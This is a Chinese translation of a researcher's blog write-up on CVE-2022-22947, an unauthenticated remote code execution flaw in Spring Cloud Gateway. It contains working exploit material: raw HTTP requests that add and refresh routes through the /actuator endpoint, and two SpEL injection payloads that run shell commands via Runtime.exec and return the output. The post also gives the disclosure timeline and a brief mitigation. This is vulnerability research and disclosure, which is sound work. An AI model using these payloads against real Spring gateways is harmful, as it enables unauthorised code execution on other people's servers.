翻译来源链接:[CVE-2022-22947] Spring Gateway Unauth RCE | Nxhoang Blog (nxhoanghust.github.io)
文章类型:云安全漏洞分析
CVE-2022-22947:【云安全系列】Spring 网关未授权RCE漏洞分析与利用
在这篇博文中,我会写一个在2021年我发现的重要的Spring Cloud Gateway
的0day漏洞,这个漏洞报告给了VMWARE并且官方已经发布了补丁,发布新版本的时间是2021.3.1。
注意:最后更新于2023/3/1
- 2022/1/16:我们向VMware报告了并且分配了漏洞。
- 2022/2/16:请求官方更新并且获取了我的第一个0day
- 2022/3/1:VMware发布了新的版本,并且有一个人也发布了一篇博客
可惜似乎我的报告详情比他晚了一天。T.T
1.漏洞来源灵感
这个漏洞是受到了一篇2021年12月20日的博客启发,我从这篇博客中,作者通过暴露的endpoint来利用出发了SSRF漏洞。在读过这篇博文后,我的师傅@rskvp93提出了使用EL注入来获取远程代码执行的想法,Bring Your Own SSRF – The Gateway Actuator – Wya.pl
2.漏洞细节分析与利用
设计函数
从上面的图可以看到,Spring 云网关是一个开箱即用的路由机制,这个工具可以作为一种将多种服务隐藏在单个服务之后。为了路由到请求,Spring 云网关会把请求导向图中的Gateway Handler Mapping
。
并且,还会提供允许修改入口HTTP请求的Gateway Filter内置过滤器,也包括出口HTTP的response
。(Spring Cloud Gateway
)
内置网关过滤器Gateway Filter
这里包含一个公共端点列表(记住它),帮助我使用任何过滤器构建路由。(/actuator
)
作为上面内容的一些分析和利用,我会总结一些有希望的突破点。
获取所有的route路由
GET /actuator/gateway/routes HTTP/1.1
Host: 192.168.137.120:9000
Connection: close
构造路由地址
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.137.120:9000
Connection: close
Content-Type: application/json
Content-Length: 334
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/abc/**"
}
}
],
"filters": [
{
"name": "AddRequestParameter",
"args": {
"_genkey_0": "X-Custom",
"_genkey_1": "Test"
}
}
],
"uri": "https://httpbin.org",
"order": 0
}
刷新route路由
在添加一个新的路由后,新的路由请求需要一个后续http请求⑩应用程序识别。
GET /actuator/gateway/refresh HTTP/1.1
Host: 192.168.137.120:9000
Connection: close
现在添加了一个新的route并且路由可以通过端点来访问,访问时会返回 新的header,这个header会添加 /abc
X-Custom: Test
在之前的内容时,我介绍了Spring Cloud Gateway云网关的功能,包括它的filter过滤器和如何构造一个route路由。/actuator
3.深入研究如何定义一个route
在经过学习Spring云网关的filter闻到后,我从文档中找到了关于使用SpEL(Spring EL)表达式如何配置filter过滤器。文档的部分内容使我挖掘到了如何构建一个route以及如何使用EL注入方法。
让我讲讲在添加一个新的route
时发生了什么?
在端点添加route时会拉去一个路由缓存routing cache。为了公开显示路由,必需发送request请求,然后在缓存中所有的路由表数组都会pop出来,并逐个转换。我可以定义并且使用例子:/actuator
refresh
Route
filter
predicate
"filters": [
{
"name": "AddResponseHeader", #Name of the filter
"args": {
"_genkey_0": "X-Custom", #arg1: headername
"_genkey_1": "${abcc}" #arg2: headervalue
}
}
]
对于传入的每个参数,都会使用spel表达式检查字符串的开始和结尾。#{
}
所以,在这里的EL表达式注入会产生REC漏洞。你可学会很多的攻击方法来攻击这个漏洞,使用各种EL注入的payload。但是,为了构造一个尽可能多情况下都能使用EL payload
,那么我选择将命令的输出反应到响应的payload
上。
#{new java.util.Scanner(''.getClass().forName('java.lang.Runtime').getRuntime().exec('whoami').getInputStream()).useDelimiter('\\A').next().replace('\n',' ')}
我在Java 11上测试了上面的payload成功,但在新版本的Java 17上,EL表达式的注入payload有一些不同的地方,你可以使用下面这种:
#{new java.util.Scanner(T(java.lang.Process).getMethod('getInputStream').invoke(T(java.lang.Runtime).getRuntime().exec(new String[]{'ls'}))).useDelimiter('\A').next().replace('\n',' ')}
4.漏洞的防护
以上来看,我的研究方法可以通过EL表达式将SSRF升级到RCE,但是我通过限制端点的访问,可以轻松防护此类漏洞。/actuator
,我来自网络安全公司VcsLab of Viettel Cyber Security(VCSLab).